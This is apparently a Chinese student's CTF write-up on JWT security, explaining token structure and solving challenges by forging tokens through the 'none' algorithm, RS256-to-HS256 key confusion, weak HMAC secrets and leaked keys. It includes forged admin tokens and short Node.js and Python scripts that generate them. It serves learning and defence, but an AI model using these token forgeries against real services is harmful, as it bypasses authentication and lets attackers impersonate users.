目录

简介

内容

解码

JWT 的安全问题

存在的漏洞

简单无加密题目

公私钥泄露

密匙弱口令

密匙混淆攻击

签名算法可被修改为 none


写这篇文章时候五味杂陈,颓废了一个寒假,好像学了,但好像也没学多少,不知是放假前对自己的期待太大了,还是假期真的太放肆了,学了一扣扣皮毛东西,但是值得庆幸的是遇到了该遇到的人。希望在这个学期我们不是互相消耗,而是一起成长,完成该有的目标。

简介

JWT是JSON Web Token。http协议本身是一种无状态的协议,而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证,那么下一次请求时用户还要再一次进行用户认证才行,因为根据http协议,我们并不能知道到底是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在服务器存储一份用户登陆的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这就是传统的的session认证。

但是这种基于session的认证是应用本身很难的得到扩展,随着不同客户端用户的的增加,独立的服务器已无法承载更多的用户,这时候session认证应用的问题就会暴露出来

一个 jwt token 由三部分组成,header、payload 与 signature,以点隔开,形如aaaa.bbbb.cccc

举个栗子吧

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

内容

header

header是用来声明token的类型和签名用的算法,需要经过base64编码比如以上token得到头部经过base64解码后为{"alg":"HS256","typ":"JWT"}

payload

payload用来表示真正的token信息,也需要经过base64编码。比如上面的token的payload经过解码后为

{"sub":"1234567890","name":"John Doe","iat":1516239022}
JWT 规定了7个官方字段,供选用 
iss (issuer):签发人 
exp (expiration time):过期时间
sub (subject):主题 
aud (audience):受众 
nbf (Not Before):生效时间 
iat (Issued At):签发时间 
jti (JWT ID):编号

signature

将前两部分用alg指定的算法加密,再经过 Base64编码就是 signature 了,作用是防止数据篡改。

解码

一般推荐去这个网站解码,拿上面这个例子

http://jwt.io/

解密前

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

解密后

{ "alg": "HS256", "typ": "JWT" }
{ "sub": "1234567890", "name": "John Doe", "iat": 1516239022 }

JWT 的安全问题

1.修改算法为none 2.修改算法从RS256到HS256 3.信息泄漏 密钥泄漏 4.爆破密钥

存在的漏洞

  • CVE-2015-9235 Alg:无攻击
  • CVE-2016-5431 密钥混淆攻击
  • CVE-2018-0114 密钥注入攻击 其他已知攻击
  • JWKS 欺骗
  • “kid” 注射
  • 跨服务中继攻击
  • 弱密钥

简单无加密题目

在js中看到了

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ

base64解密或者去jwt.io解码都行,得到结果

{"alg":"None","typ":"jwt"}[{"sub":"user"}]

所以我们尝试把 sub 对应的键值修改

{"alg":"None","typ":"jwt"}[{"sub":"admin"}]

把前面部分和后面部分分别 base64-encode

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0

后面

W3sic3ViIjoiYWRtaW4ifV0=

把这两部分用点 (.) 拼接两部分并去掉等于号

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0

burp抓包拿这一串cookie去替换掉原来的值,之后访问即可获取flag

公私钥泄露

RS256 (采用 SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共 / 私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据 URL)。

如果header里面的alg是RS256,就把jwt.io中分别把公私密匙复制进去,然后替换cookie即可

密匙弱口令

爆破推荐几个工具:

  • c-jwt-cracker
  • Hashcat
  • john

看见题干说是弱口令,去 jwt.io 解码

解码前

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNzM2NiwiZXhwIjoxNjA5MjQ0NTY2LCJuYmYiOjE2MDkyMzczNjYsInN1YiI6InVzZXIiLCJqdGkiOiI3NzgzMjYzZDIxODVlYzhlYTBhYjY2MjZmMTk5MWRiOCJ9.aX8kzpC_p6HCUW60UdLVqjkDN97zmP0Ce6yETdaiv80

解码后发现还是 HS256 对称加密

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iss": "admin",
  "iat": 1609237366,
  "exp": 1609244566,
  "nbf": 1609237366,
  "sub": "user",
  "jti": "7783263d2185ec8ea0ab6626f1991db8"
}

既然题目说是弱口令我们尝试使用最简单的弱口令 123456, 成功,接下来我们只需要拿着这个密钥去生成 jwt 即可

密匙混淆攻击

JWT 签名算法中,一般有两个选择,一个采用 HS256, 另外一个就是采用 RS256。 签名实际上是一个加密的过程,生成一段标识作为接收方验证信息是否被篡改的依据。

RS256 (采用 SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共 / 私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据 URL)。 另一方面, HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个 密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。

在开发应用的时候启用 JWT,使用 RS256 更加安全,你可以控制谁能使用什么类型的密钥。另外,如果你无法控制客户端,无法做到密钥的完全保密,RS256 会是个更佳的选择,JWT 的使用方只需要知道公钥。由于公钥通常可以从元数据 URL 节点获得,因此可以对客户端进行进行自动检索公钥。如果采用这种方式,从服务器上直接下载公钥信息,可以减少配置信息。

利用方法

由于 jwt 在 python 和 nodejs 的库不同,造成在这里只能自己手动生成了, 之后运行 nodejs 获取 cookie 去替换即可

router.get('/', function(req, res, next) {
  res.type('html');
  var cert = fs.readFileSync(process.cwd()+'//routes/public.key');
  var token = jwt.sign({ user: 'admin' }, cert, { algorithm: 'HS256' });

  res.cookie('auth',token);
  res.end('where is flag?');

});

so!JWT 配置应该只允许使用 HMAC 算法或公钥算法,决不能同时使用这两种算法

签名算法可被修改为 none

前言:

枯燥的寒假生活中碰到这样一个有趣的题,就是这个类型,但是刚开始没接触jwt伪造的我看到这个题非常恼火。

JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”,那么签名会被置空,这样任何 token 都是有效的。 设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将 alg 字段设置为 “None” 来伪造他们想要的任何 token,接着便可以使用伪造的 token 冒充任意用户登陆网站。

开始做题!

先拿到

cookieeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNjg3MCwiZXhwIjoxNjA5MjQ0MDcwLCJuYmYiOjE2MDkyMzY4NzAsInN1YiI6InVzZXIiLCJqdGkiOiI5NDNkMGIzMjM3ODA2NjU5ZDJlMjA1ZTQyYjMxOTQ5NCJ9.9TUQLyYKs97ceFhZQ4BzkAuug6nCgLoMAbLH88kSOwo

解码

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iss": "admin",
  "iat": 1609236870,
  "exp": 1609244070,
  "nbf": 1609236870,
  "sub": "user",
  "jti": "943d0b3237806659d2e205e42b319494"
}

我们需要把sub改成admin,但是如果把签名算法改成none的话,jwt.io那个网站就无法生成,这个时候可以使用python生成

import jwt

# payload
token_dict = {
  "iss": "admin",
  "iat": 1609236870,
  "exp": 1609244070,
  "nbf": 1609236870,
  "sub": "admin",
  "jti": "943d0b3237806659d2e205e42b319494"
}

headers = {
  "alg": "none",
  "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       "",  # 进行加密签名的密钥
                       algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       headers=headers 
                       # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                       )

print(jwt_token)

将生成的字符串来替换原有的 cookie 获得 flag